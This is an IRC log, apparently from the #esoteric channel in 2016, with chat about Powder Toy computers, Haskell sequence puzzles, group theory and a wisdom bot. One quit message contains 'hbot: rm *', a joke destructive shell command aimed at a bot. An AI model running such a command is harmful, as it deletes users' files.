-!- Koen_ has quit (Remote host closed the connection). 19:46:56 -!- Koen_ has joined. 19:55:44 -!- shikhin has changed nick to chrono^Wshikhin. 19:55:55 -!- chrono^Wshikhin has changed nick to shikhin. 19:57:36 -!- Reece` has joined. 20:03:18 -!- hwpplayer1 has joined. 20:12:05 -!- augur has quit (Remote host closed the connection). 20:12:21 -!- lambda-11235 has quit (Ping timeout: 276 seconds). 20:14:27 -!- Frooxius has joined. 20:23:29 -!- xkapastel has joined. 20:30:36 -!- Reece` has quit (Quit: Alsithyafturttararfunar). 20:41:04 -!- hwpplayer1 has left. 20:55:14 join/quit spam broken 21:06:30 We should need to add many remote data sources that can be access by SQLite extension; you can then make SQL queries on them and can easily combine the data together, such as if you want to make a graph to compare flight delays with golf scores (in such case you would also need another extension to draw a graph). 21:12:21 -!- xfix has quit (Remote host closed the connection). 21:19:47 -!- augur has joined. 21:39:24 -!- lambda-11235 has joined. 21:46:43 -!- shikhin has changed nick to idraumr. 21:47:19 -!- idraumr has changed nick to shikhin. 21:58:26 -!- xfix has joined. 22:09:48 -!- Sgeo has joined. 22:10:41 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 22:10:45 -!- AnotherTest has joined. 22:16:43 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:21:18 -!- gamemanj has quit (Ping timeout: 250 seconds). 22:32:04 -!- augur has quit (Remote host closed the connection). 22:35:16 -!- jaboja has joined. 22:38:34 i wonder, what should i add to havocbot 22:39:12 Make a video card that is design to be use with X window system; I thought of how its features would do. There are 64 palettes (two of which cannot be modified) each with 256 colours and 9 extra bits to decide which planes select red/green/blue. There are then 32 planes; six of them are used to select a palette. There are four 16x16 sprites with three colours + transparent. Memory can be accessed in XY format or Z format through the blitter. 22:53:01 -!- augur has joined. 23:07:34 -!- augur has quit (Remote host closed the connection). 23:15:28 maybe ill make a trick to render up to 16x16 images over irc 23:15:56 using all 16 colors 23:29:19 http://www.smbc-comics.com/index.php?id=2831 this is sleep sort? 23:37:08 izabera: Yes. 23:37:21 then the complexity is off 23:59:14 -!- augur has joined. 2016-06-13: 00:06:45 [wiki] [[Brainscrambler]] https://esolangs.org/w/index.php?diff=47195&oldid=20934 * 78.67.213.26 * (+68) 00:17:31 -!- augur has quit (Quit: Leaving...). 00:24:20 -!- moon_ has quit (Quit: hbot: rm *). 00:34:16 -!- jaboja has quit (Read error: Connection reset by peer). 00:43:34 -!- moon_ has joined. 00:50:02 -!- dnm has joined. 00:59:26 `? complete heyting algebra 00:59:45 complete heyting algebra? ¯\(°​_o)/¯ 01:00:05 `? locale 01:00:07 Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 01:00:09 `? frame 01:00:14 A frame is just a complete Heyting algebra. However, frame homomorphisms don't preserve implication, if you know what I mean. 01:00:16 `? pointless topology 01:00:18 Pointless topology is the kind of topology Taneb invents. 01:00:28 `? heyting algebra 01:00:30 heyting algebra? ¯\(°​_o)/¯ 01:00:41 `sled wisdom/locale//s/However, f/F/ 01:00:43 wisdom/locale//Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 01:00:50 oops 01:00:56 I wonder what the idiom in Java is for when a method you're calling throws a checked exception and you don't want to handle it. 01:00:59 `sled wisdom/frame//s/However, f/F/ 01:01:03 wisdom/frame//A frame is just a complete Heyting algebra. Frame homomorphisms don't preserve implication, if you know what I mean. 01:01:29 the idiom is try { ... } catch (StrangeException e) {} hth 01:01:50 `? sober space 01:01:52 Sober spaces are the dual of Stoned spaces. Taneb invented them. 01:01:56 `? stone space 01:01:58 Stone spaces were invented by P. T. Barnum as a hoax. 01:03:19 `? help 01:03:20 Help is on the way. We don't know where the way is, though. You might try `help instead. 01:03:58 I was hoping that that wouldn't exist, because then I could have done: `le/rn help/The wisdom entry for "help" isn't very helpful. 01:04:14 But that's kind of a tired joke, isn't it? 01:04:27 I mean, pretty much the whole joke is that it's self-referential. 01:04:40 But we're used to self-reference in here. We don't need hundreds of jokes about it. 01:06:37 `le/rn complete heyting algebra/A complete Heyting algebra is just a cartesian closed complete lattice. 01:06:39 Learned «complete heyting algebra» 01:06:55 Is that true? 01:08:04 `? lattice 01:08:06 lattice? ¯\(°​_o)/¯ 01:22:51 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:30:14 -!- hppavilion[1] has joined. 01:31:59 -!- deltab has quit (Quit: Changing server). 01:34:00 Someone just made a pact on the internet 01:34:20 If non-US people call common football "soccer" when calling it "football" would make things abiguous 01:34:42 We'll call our American football "handegg" in similarly ambiguous situations 01:35:45 i found something called powdertoy (http://powdertoy.co.uk/) it has had computers made in it, so ima make a brainfuck interpreter 01:37:23 There are computers written in the Powder Toy? 01:37:28 mhm 01:37:42 functional ones, fastest one i have seen is 1hz 01:37:53 -!- deltab has joined. 01:38:17 The synergy computer being the best example (29-bit!) 01:39:15 The synergy computer also comes with a instruction set 01:40:52 actually, make the fastest one i have seen 1.5hz 01:42:02 brainfuck interpreter sounds doable 01:42:31 in 255 instructions? 01:42:37 or in a custom computer 01:42:44 just a string of binary counters or something 01:42:47 custom 01:42:50 ah 01:43:21 here, leme pull up the synergy instruction set and info, you might find it intresting ,and brainfuck is doable+1 :P 01:43:34 http://powdertoy.co.uk/Discussions/Thread/View.html?Thread=19974 01:44:04 the synergy computer has most of its space taken up by a screen, by the way 01:45:51 yes i advise you to build the circuitry from scratch 01:46:07 '' 001111: blows the computer up '' i wonder what happens if i print that twice 01:46:11 ik :P 01:46:21 output will be a little funky 01:46:25 if you print it once the computer blows up 01:46:28 so there won't be a twice 01:47:09 i dont see any TNT, NITR, or any other explosive 01:47:16 there _might_ be a twice 01:49:42 i have no idea how the bit representation in this works 01:49:53 learn TPT's physics 01:50:14 you have 100 or so elements to work with (= 01:51:09 i've played around with tpt for years 01:51:26 username? 01:51:33 i never uploaded anything 01:51:40 oh 01:51:53 i think this encodes words in the spectrum of FILT 01:52:07 which i suspect is not accessible ingame 01:52:32 then why is there read/write FILT ram? filt is changed by temp 01:52:48 check the memory, it's all at 22 degrees 01:52:59 huh, your right 01:53:28 filt has 5-10 modes tho 01:54:03 I always like to create a box filled with water, and put a heat source at the bottom and a cold source at the top. 01:54:09 Do people in countries outside the US refer to black people as "African American"? 01:54:42 tsweet, convection, as far as i know, is not modeled 01:54:46 unless your making rain 01:54:50 Primarily European countries, where referring to most people as "American" would usually get you funny looks 01:55:09 hppavilion[1]: I highly doubt it. 01:55:21 pikhq: I would have too 01:55:54 pikhq: But I was watching a YouTube video today and they mentioned a guy (who I assume was british) correcting someone who called him "African American" on the grounds that he was neither african nor american 01:56:28 yes, people tend to think you're an idiot if you do so 01:57:11 moon_, the self-destruct works by cloning in some explosive btw 01:57:17 ah 01:57:26 SING? 01:57:35 no 01:57:45 Looks like Powder Toy still has that thing where turning water into steam requires no heat. 01:57:57 no.. 01:58:07 water becomes steam at 100C as far as i know 01:58:16 and as much as logic tells me, that should be true 01:58:32 Well, yeah, I mean that thing where heating water from 99C to 101C is as easy as heating it from 97C to 99C. 01:58:39 tswett: you have a tpt account? 01:58:45 Nope. 01:59:12 Also, using "African American" instead of "black" is not a great way of being more "correct" -- essentially nobody has a preference for one over the other. 01:59:12 I do :P 02:01:33 <\oren\> Well seeing as most black people I know aren't American... 02:01:42 i found the explosives Phantom_Hoover , its FIRW 02:01:43 I wonder all of a sudden. 02:01:53 \oren\: I was speaking purely in an American racial context, mind. 02:02:00 etrd is great because it completely fucks things up 02:02:10 i have to agree 02:02:13 How easy would it be to power a power plant using boiling hot water? 02:02:15 all the PLSM! 02:02:21 ... Obviously if you use "African American" to describe someone who is in no way connected to America, you're being pretty dumb. 02:02:27 tsweet 02:02:32 dtec 02:02:39 What's this, now? 02:02:47 DTEC, or detector 02:02:58 <\oren\> In Canada afaict the correct term is always "Black". People aren't offended by "african canadian" but they'll look at you like you're an idiot 02:03:01 I should mention, I'm talking about real life. 02:03:07 oh 02:03:13 *now embarassed* 02:03:32 Nah, my question was ambiguous. 02:03:37 Boiling hot water is, of course, not very useful for powering a steam turbine. 02:03:44 "Black" is slightly preferred over "African American" in informal contexts, and vice versa in formal contexts, but both are considered generally correct and acceptable in the US. 02:04:24 But a few people hypercorrect and use "African American" always, even when incorrect, and come across as idiots. 02:04:41 Phantom_Hoover: i just convinced it to erase its keyboard 02:04:51 totally not idiot proof 02:04:54 (tip: Barack Obama is African American. Mandela is not African American.) 02:04:55 ha 02:05:06 by the way 02:05:18 it is currently strobing due to idiot edition usage 02:05:45 So given a bunch of boiling-hot water, and an endless supply of room-temperature air, how do you heat some of the water so that it boils? 02:06:07 <\oren\> nuclear fusion 02:06:45 ^ 02:07:01 just pull the pump's turn on switch 02:07:15 <\oren\> well I suppose some of the water would then technically no longer qualify as "water" due to nuclear transmutation but still 02:07:20 tswett: Heat pump? 02:07:47 tswett, define 'endless supply' 02:07:55 Though really you can probably do things a lot simpler than that. 02:08:00 Phantom_Hoover: no. 02:08:03 You *have* a nice heat gradiant there. 02:09:43 <\oren\> it's raining!!!! 02:09:51 You could, for instance, just run a Stirling engine with one cylinder in the water and one cylinder in the air. 02:10:31 And not even need steam for it to work. 02:10:39 Right. 02:10:50 <\oren\> @metar RJTT 02:10:51 RJTT 130100Z 02022KT 3800 SHRA BR FEW004 BKN006 BKN008 20/20 Q0998 TEMPO 3000 SHRA BR FEW003 BKN005 RMK 1ST004 5ST006 6ST008 A2948 02:11:22 "Here's an interesting fact: you're not breathing real air. It's too expensive to pump this far down. We just take carbon dioxide out of a room, freshen it up a little, and pump it back in. So you'll be breathing the same room full of air for the rest of your life. I thought that was interesting." 02:11:36 my answer from a while back 02:11:45 *for not from 02:12:56 But that's what astronauts do so it can't be so bad 02:13:50 <\oren\> spaceships tend to stink though 02:13:50 #claustophobia 02:14:54 tswett: And of course if efficiency doesn't matter a thermoelectric generator will do you nicely. 02:16:04 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:18:23 Ugh 02:18:32 Someone made a video called "Who owns english?" 02:19:07 Do you know the answer of such question? 02:19:52 What question? 02:20:22 Who english? 02:20:48 zzo38: Yes: It's a stupid question because you can't own a language 02:21:03 Well, unless it was invented recently, and even then it's stupid to try to control it 02:21:04 ^ +1 02:21:12 hppavilion[1]: Tell that to Paramount. 02:21:25 I can own a language. 02:21:29 pikhq: *sigh* what did Paramount do? 02:22:01 Sue a fan film for using Klingon. 02:22:34 pikhq: ...seriously? 02:22:48 Friendly advise for anyone with a bit of media with a very highly invested fan base: don't sue them. They *are* your audience. 02:22:51 Seriously. 02:23:17 I agree they should not force to control/own it 02:23:35 I believe languages should be legally exempt from copyright 02:23:35 star trek is dead anyway 02:23:40 tell them not to cling on to the past 02:23:52 One of the amicus briefs is partly in Klingon. 02:23:57 shachaf: ...was that a pun? 02:24:01 shachaf: There's a new series coming which might not suck. 02:24:15 shachaf: Or was it an un-pun? A place where you made it so you could put a pun, but then didn't? 02:26:16 Hm... You can't own a word (you can prevent people from using it to advertise themselves by trademark, but you can't prevent people from ever saying it) 02:26:23 And thus you can't own a vocabulary 02:26:32 And thus you can't own a language 02:30:40 i found a wierd language: https://esolangs.org/wiki/SPAM/1 02:38:53 The behavior of pressure in TPT seems really weird. 02:39:31 it is 02:39:48 try making a container of superheated WARP, and then opening it after a little 02:40:02 in view 2 (Acessed by hitting the 2 key) 02:40:05 I've got a bunch of water that's stuck up in the air thanks to prsesure. 02:40:21 pressure does funny things 02:44:00 I wonder what it's supposed to represent. 02:44:09 Pressure, obviously 02:44:09 TPT lets you have a pressure gradient in an unmoving fluid, which can't happen in real life. 02:44:21 So clearly it's not the pressure of that fluid. 02:44:27 Air pressure 02:44:30 its air pressure 02:44:31 And besides that, areas that are "empty" still have pressure. 02:46:26 I can't tell whether it passes through solids or not. 02:46:47 You can have a chunk of ice with a pressure of -11 in the middle, and it just stays at -11, which makes it seem like pressure can't pass through solids. 02:47:06 TPT pressure is reallllly strange 02:47:20 it DOES pass through any solids (besides TTAN and WALL) 02:47:44 So why does ice maintain pressure like that? 02:47:50 Idk 02:48:12 but pressure goes straight through GOLD and other solids 02:48:48 ill consult the almighty wiki 02:49:14 ICE does not hold pressure 02:50:53 I wonder how long it is until Microsoft puts ads in the title screen of Minecraft 02:51:27 Idk 02:51:32 lets all hope they dont 02:51:45 it would PREVIOUSLY be a good game then 02:51:46 plus 02:51:53 minecraft is in java 02:52:04 ads in MC title screen = Anti-ad md 02:52:08 *mod 02:53:33 moon_: They'd add "Don't remove our ads with a mod" to the ToS 02:54:15 moon_: Because, of course, just because you've legally purchased the software, they can still tell you what you can and cannot do with it even for your own personal use 02:57:00 Oh, look at this. Even empty space can have a pressure gradient. 02:57:34 It's like somehow the ice is sucking up huge amounts of air. 02:58:30 -!- moon_ has quit (Ping timeout: 250 seconds). 02:59:38 Yeah, there's definitely a whole lot of negative pressure being generated here. 03:06:01 Hm... I wonder if a FOSS community could pull off a Minecraft-like game that doesn't turn out terrible and doesn't feel like it's become a cash cow rather than a fun project for the devs 03:10:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 03:16:47 I think Truecraft aims to be that 04:43:43 Plan to be moddable and modular from the outset 04:45:33 i,i cash-oblivious software 04:47:44 lol 04:49:33 What's this channel's first occurrence of "i,i"? 04:49:52 This channel doesn't exist. 04:50:02 `? #esoteric 04:50:06 ​#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts. 04:50:56 Proposal: it's about 100 m (30 ft) across. Hth. 04:51:13 That would be inaccurate. 04:51:33 Cale: Can you think of any good pointless topology puns for my recent wisdom entries? 04:51:44 How accurate is the wisdom entry for i,i? 04:52:36 The important question is how inaccurate it is. 04:52:51 `? frame 04:52:53 A frame is just a complete Heyting algebra. Frame homomorphisms don't preserve implication, if you know what I mean. 04:52:54 `? locale 04:52:56 Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 04:53:04 `? pointless topology 04:53:06 Pointless topology is the kind of topology Taneb invents. 04:53:07 `? sober space 04:53:10 Sober spaces are the dual of Stoned spaces. Taneb invented them. 04:53:12 `? stone space 04:53:14 Stone spaces were invented by P. T. Barnum as a hoax. 04:53:18 `? barnum 04:53:20 barnum? ¯\(°​_o)/¯ 04:59:08 `? i,i 04:59:10 i,i i,i what is i,i 05:03:47 > iterate (>>= (\c -> case c of 'i' -> "i,i"; ',' -> " is "; 's' -> "ksk"; x -> [x])) "i" 05:03:49 ["i","i,i","i,i is i,i","i,i is i,i i,iksk i,i is i,i","i,i is i,i i,iksk i,... 05:05:54 -!- hppavilion[1] has joined. 05:26:28 That reminds me of that infinite self-spelling sequence... 05:27:23 cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, a, comma, space, es, pee, a, cee, e, comma, space, e, comma, space, cee, ... 05:53:21 is there a better way to generate that sequence without appending to a string? 05:58:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 06:05:19 I don't know. I think I have seen stuff like that before (and have made up stuff like that before too), but not quite that one. 06:08:29 If I make a puzzle game of the kind that satisfies the following: rules :: Command -> Puzzle -> Either Bool Puzzle; isSolution :: [Command] -> Puzzle -> Bool; isSolution [] _ = False; isSolution (h:t) x = either id (isSolution t) $ rules h x; and the current state of the puzzle is always fully visible to the player. What is this kind of rules called? 06:09:25 (I do not mean to imply that it is necessarily programmed in Haskell, but the notation of Haskell seems useful to describe what I am trying to describe here.) 06:30:35 > let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]; describeString s = intercalate ", " (map describeChar s) in fix (\xs -> ' ' : describeString xs) -- not quite, but almost 06:30:37 " space, es, pee, a, cee, e, comma, space, e, es, comma, space, pee, e, e, c... 06:32:41 > let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]; describeString s = intercalate ", " (map describeChar s) in fix (\xs -> describeString ('c' : xs)) -- also not quite 06:32:43 "cee, cee, e, e, comma, space, cee, e, e, comma, space, e, comma, space, e, ... 06:35:52 oh, right... 06:36:13 > let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]; describeString s = intercalate ", " (map describeChar s) in map head . transpose . iterate describeString $ "c" 06:36:15 "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ... 06:36:35 there we go :) 06:37:48 izabera: ^^ got it 06:40:14 -!- hppavilion[1] has joined. 06:40:40 tswett: OK, that's weird 06:43:03 "A prison escape or prison break is the act of an inmate leaving prison through unofficial or illegal ways." 06:52:38 Cale: do you mind writing it in a normal language? 06:53:27 "in Singapore caning is permitted for boys only" 06:56:22 Do you know why? 06:59:08 zzo38: Because the people in charge in Singapore are sexist assholes? 06:59:55 do you want to permit caning on girls too? 07:00:12 -!- lambda-11235 has quit (Quit: Bye). 07:00:12 izabera: No, but I'd rather it be both or neither 07:09:06 I just started https://www.youtube.com/watch?v=Rk2SuWwwdMk and now I'm immediately planning to move to Russia 07:09:41 Oh, or any other Nordic country (Norway, Finland, Sweden) 07:10:24 For reasons given by various maps 07:18:17 Hm, the quality of software used tends to go down as the GDP of a nation goes up 07:28:49 -!- oerjan has joined. 07:35:06 Apparently the reason why the character ROM on CGA has two unused address bits is because the same ROM contains the MDPA patterns, so that both cards can use the same ROM. 07:43:01 -!- Kaynato has quit (Ping timeout: 240 seconds). 07:45:17 zzo38: Was it a mask ROM? 07:45:22 Because that makes me suspect that. 07:56:34 `? implication 07:56:46 implication? ¯\(°​_o)/¯ 07:56:50 izabera: What's a normal language? This relies on lazy evaluation... 07:57:09 `learn Implication is a useful rhetorical device, if you know what I mean. 07:57:09 normal as in readable by humans <.< 07:57:12 Learned 'implication': Implication is a useful rhetorical device, if you know what I mean. 07:57:12 I program in Haskell for a living... 07:57:20 clearly not human 07:57:42 I can explain the Haskell if you want 07:57:53 thanks :D 07:58:07 @let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")] 07:58:08 Defined. 07:58:44 So this function just does what it looks like, giving a string that describes the given character, or the empty string if it's not found in the list (though that never happens) 07:58:53 > describeChar ',' 07:58:55 "comma" 07:58:59 ok 07:59:13 @let describeString s = intercalate ", " (map describeChar s) 07:59:14 Defined. 07:59:39 This describes a string by applying that function to each character in it, and then sticking ", " in between each of the things it got, concatenating the results 07:59:49 > describeString "cee" 07:59:50 "cee, e, e" 07:59:57 ok 08:00:19 so this is actually creating the same infinite string 08:00:32 and it's using the same amount of space 08:00:40 > iterate describeString $ "c" 08:00:41 ["c","cee","cee, e, e","cee, e, e, comma, space, e, comma, space, e","cee, e... 08:01:21 iterate f x = [x, f x, f (f x), ...] 08:01:33 it just applies the function over and over, giving an infinite list of the results 08:02:22 yeah but i was hoping for a solution that didn't require infinite memory 08:02:23 Now we do something quirky and transpose this list of lists, which is actually going to get us a list of infinite strings 08:02:41 > transpose . iterate describeString $ "c" 08:02:42 ["cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc... 08:03:01 The first element of every one of the strings is after all c... 08:03:05 ok 08:03:08 > take 5 . transpose . iterate describeString $ "c" 08:03:09 ["cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc... 08:03:11 oops 08:03:14 OK, how the hell does OEIS choose sequence numbers? 08:03:16 > map (take 5) . transpose . iterate describeString $ "c" 08:03:17 ["ccccc","eeeee","eeeee",",,,,,"," ","eeeee",",,,,,"," ","eeeee",",,... 08:03:25 hppavilion[1]: user submitted 08:03:40 But of course, these infinite strings are lazily constructed, and we're really only interested in the first element of each 08:03:44 izabera: No, as in what the A-code is 08:03:49 > map head . transpose . iterate describeString $ "c" 08:03:51 "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ... 08:04:07 Cale: but you still need unbounded memory x.x 08:04:15 @where pi_10 08:04:15 (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]] 08:04:29 Why is Fibonacci A000045? 08:04:43 hppavilion[1]: first come first served 08:04:50 izabera: Ah? 08:04:57 pikhq: I don't know if it is mask ROM or what it is 08:05:25 izabera: Then the first person to add one (A000001) was rather focused on Group Theory 08:05:52 Like, I'd think A000001 would be, I dunno, the empty sequence, or the natural numbers, or something like that 08:05:52 > fix (('c':).drop 1.describeString) 08:05:54 "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ... 08:06:19 * oerjan vaguely assumes that's what Cale started with 08:06:37 > map head . transpose . iterate describeString $ "c" 08:06:38 "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ... 08:07:02 oerjan: now golf pi_10 twh 08:07:14 `? twh 08:07:15 oerjan: ah, haha 08:07:21 twh would help, but is an hth derivative. hth. twh. hand. 08:07:28 oerjan: That's the easy one I was looking for initially 08:08:20 (but couldn't quite find it -- in hindsight, that's obviously where the drop 1 needs to go :) 08:08:55 thissbnioaiaaoyuwswai 08:09:15 "that helps in some scenarios but not in others and I am as of yet unsure which scenario we are in" 08:10:41 `? this sentence 08:11:05 How do you generate one of those self-counting sentences I wonder? 08:11:07 izabera: There is probably a way to compute the nth element in O(log n) space... 08:11:07 This sentence was not invented by Taneb. Taneb invented it. 08:11:25 It seems like it would be NP 08:11:27 hppavilion[1]: constraint programming? 08:11:34 oerjan: I guess? 08:11:52 Like, you could make an algorithm that will generate some such sentences, but not one that will generate al 08:11:54 *all 08:12:19 "cannot" is a stupid word 08:12:24 hppavilion[1]: well you can do some math to find bounds on what the counts can be. 08:12:26 "x cannot perform action a" 08:12:34 oerjan: "a dozen" 08:13:11 and then you can do constraint programming to prune it all down. 08:13:12 It means "x is incapable of performing action a", but it feels like it should be read "x is capable of not performing action a" 08:13:30 or one of those SMT solvers which i've never used. 08:13:43 (which i guess is a form of constraint programming) 08:14:44 basically, those solvers can solve essentially all NP problems that aren't _designed_ to hit the hard cases. 08:14:48 afaiu 08:15:44 not sure if they can list all solutions (assuming there's a reasonable number, which i assume is the case with those self-counting things) 08:18:12 izabera: Then the first person to add one (A000001) was rather focused on Group Theory <-- perhaps it was just that sequence that gave em the idea that there needed to be such a site 08:19:00 speaking of groups what's with S_6? 08:19:57 izabera: There is probably a way to compute the nth element in O(log n) space... <-- i think your iterated version might count, with enough garbage collection. 08:20:16 seems unlikely... 08:20:31 Yeah, I don't think it does... 08:21:30 hm... 08:22:11 well, the idea is that you'd really want to generate copies of the sequence in "parallel" 08:22:17 without sharing between them. 08:22:34 so not _exactly_ that version, but something similar. 08:25:13 hmm, yeah 08:25:14 > let fix' f = f (fix' f) in fix' (('c':).drop 1.describeString) 08:25:16 "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ... 08:25:43 like that, assuming that fix' avoids sharing 08:26:30 i guess that was my version. 08:28:03 or you can do it with a stack. 08:29:22 or wait, you need the depth. 08:33:01 The problem is that the part of the string that you're describing and the part of the string you're constructing get arbitrarily far apart over time 08:34:13 why is S_6 the only symmetric group that has a non-inner automorphism 08:34:28 shachaf: Because shenanigans 08:35:13 Cale: yes, but as long as they're not shared with each other, you only need to keep around a bounded part of each. 08:35:20 and GC should do that. 08:39:57 now if you want it to be logarithmic _time_ as well... then you need some matrix/vector thinking. 08:39:58 shachaf: https://en.wikipedia.org/wiki/Automorphisms_of_the_symmetric_and_alternating_groups#No_other_outer_automorphisms has a quick explanation 08:41:55 octomorphism 08:42:37 Why are groups so complicated? 08:42:41 shachaf: Basically it comes down to the coincidence that the number of transpositions, i.e. the conjugacy class containing (1,2) in S_6, happens to have the same size as the conjugacy class containing (1,2)(3,4)(5,6) 08:42:42 sesquimorphism 08:42:57 15 elements each 08:44:15 Why are prime decompositions so complicated? It's that problem, only worse. 08:44:32 i fell into the oerjan trap <-- . o O ( sometimes he sets traps without knowing ) 08:44:44 (it's somewhere between a monomorphism and a bimorphism) 08:45:09 oerjan: Obviously an "oerjan trap" is designed to trap oerjans. 08:45:14 ah. 08:45:48 I'm working on expanding https://oeis.org/A121064 08:45:49 `? tanebventions 08:46:05 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 08:46:17 You can't put everything Taneb invents into tanebventions. 08:46:19 It won't fit. 08:46:52 shachaf: Perhaps we should divide it into sections? 08:46:59 `? tanebventions[2] 08:47:05 tanebventions[2]? ¯\(°​_o)/¯ 08:47:58 shachaf: :( 08:50:00 `` cp 08:50:03 cp: missing file operand \ Try `cp --help' for more information. 08:50:21 `` cp wisdom/tanebventions wisdom/tanebventions(0) 08:50:23 ​/hackenv/bin/`: eval: line 4: syntax error near unexpected token `(' \ /hackenv/bin/`: eval: line 4: `cp wisdom/tanebventions wisdom/tanebventions(0)' 08:50:32 hppavilion[1]: stop. 08:50:32 `` cp wisdom/tanebventions wisdom/tanebventions|0 08:50:34 ​/hackenv/bin/`: line 4: 0: command not found \ cp: cannot stat `wisdom/tanebventions': No such file or directory 08:50:40 oerjan: *fine* 08:50:55 i suggest if we split it, we split out the math ones. 08:51:18 oerjan: Into tanebscoveries? 08:51:26 tanebulations? 08:51:37 taneberivations? taneboofs? 08:51:53 hm 08:52:04 * oerjan was just thinking adding (math) 08:52:35 At the rate it's growing, we'll have to split it tanebventually. 08:53:11 By the way, what's the International Shachaf Prototype? 08:53:22 (As analogous to the International Kilogram Prototype) 08:54:28 `le/rn tanebventions (math)/Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms. 08:54:34 Learned «tanebventions (math)» 08:54:42 -!- MoALTz has quit (Ping timeout: 272 seconds). 08:54:49 shachaf: So the number of transpositions in S_n is (n;2) = n(n-1)/2. For S_7, for example, we have 21 transpositions, and then the sizes of conjugacy classes of elements of order 2 which could potentially be swapped with those by an automorphism if they had the same size are (7;2)(5;2)/2! = 105, and (7;2)(5;2)(3;2)/3! = 105 again. 08:55:36 and this seems to get only worse as we go on to higher n -- probably there is an argument you could make to bound it 08:55:54 `le/rn tanebvention/Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex. 08:55:58 Relearned «tanebvention» 08:56:08 Of course, the smaller n, there are only a few to go through. 08:57:33 oerjan: Perhaps Go should go under math? Maybe? 08:57:56 `? hpstructions 08:57:57 hpstructions? ¯\(°​_o)/¯ 08:58:23 But really, what is the standard pun that is exactly equal to 1 shachaf? 08:58:57 By the way, what's the International Shachaf Prototype? <-- ask boily, he keeps doing the measurements... 08:59:40 @ask boily What is the International Shachaf Prototype? 08:59:40 Consider it noted. 08:59:41 hppavilion[1]: i don't see why Go is math. 09:00:04 oerjan: I don't see why the torus is math 09:00:13 hppavilion[1]: maybe there is no prototype, they've worked hard at replacing them. 09:00:23 `? torus 09:00:25 Topologically, a torus is just a torus. Taneb invented it. 09:00:33 it's topology QED 09:00:40 There's kind of a problem with that 09:00:46 IIRC, a sphere is also a torus 09:01:03 Where the center of the entire shape and the center of the band coincide 09:01:55 as the tori say: "we were spheres once, and then they torus a new one" 09:01:56 hppavilion[1]: the Go entry is a mixture of several things, none of which are _specifically_ math. 09:01:56 There's also a horn torus where the distance between the center of the band and the center of the entire shape is equal to the radius of the band and a spindle torus where the radius is less than the disstance 09:02:35 hppavilion[1]: i think shachaf may have shown us the prototype tdnh 09:02:41 oerjan: Yes 09:03:23 But if a sphere is a torus, then you can't really say that a cube isn't topologically equivalent to a torus 09:03:33 And if you can't do that, then pretty much everything is the same as everything else 09:03:38 A sphere isn't a torus. 09:03:42 Topologically speaking, everything is the same 09:03:44 a sphere isn't homeomorphic to a torus, it's at best a degenerate one. 09:03:48 hppavilion[1]: no it's not. 09:03:50 oerjan: Ah, yes 09:04:02 "homeomorphic" is a scow word. 09:04:18 `? gitmo 09:04:20 gitmo? ¯\(°​_o)/¯ 09:04:24 `? guantanamo bay 09:04:26 guantanamo bay? ¯\(°​_o)/¯ 09:04:31 `? ioccc 09:04:34 ioccc? ¯\(°​_o)/¯ 09:04:38 *gasp* 09:04:55 I'd put something there, but I'm bad at obfuscating C code 09:05:42 we really don't have it? 09:05:56 `` rgrep -i ioc wisdom 09:06:28 No output. 09:06:29 `` rgrep -i ioc wisdom; echo Hi 09:07:03 No output. 09:07:10 `` rgrep -i ioc wisdom; echo Hi 09:07:12 wisdom/iocccclist:iocccccclist is update notification for when a new year of the International Obfuscated Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.iocccc.org/#news \ Hi 09:07:19 sheesh 09:07:59 `? rust 09:08:02 Rust is C++ as designed by the makers of Haskell. 09:08:06 `? haskell 09:08:08 Unbound implicit parameter (?haskell::Wisdom) \ arising from a use of implicit parameter `?haskell' 09:08:17 `? ruby 09:08:19 Ruby is a programming language from Japan, that eventually decided to support non-ascii characters. 09:08:23 `? java 09:08:27 java is a programming-language shaped collection of misfeatures 09:08:32 `? html 09:08:34 HTML is short for "hope this mess 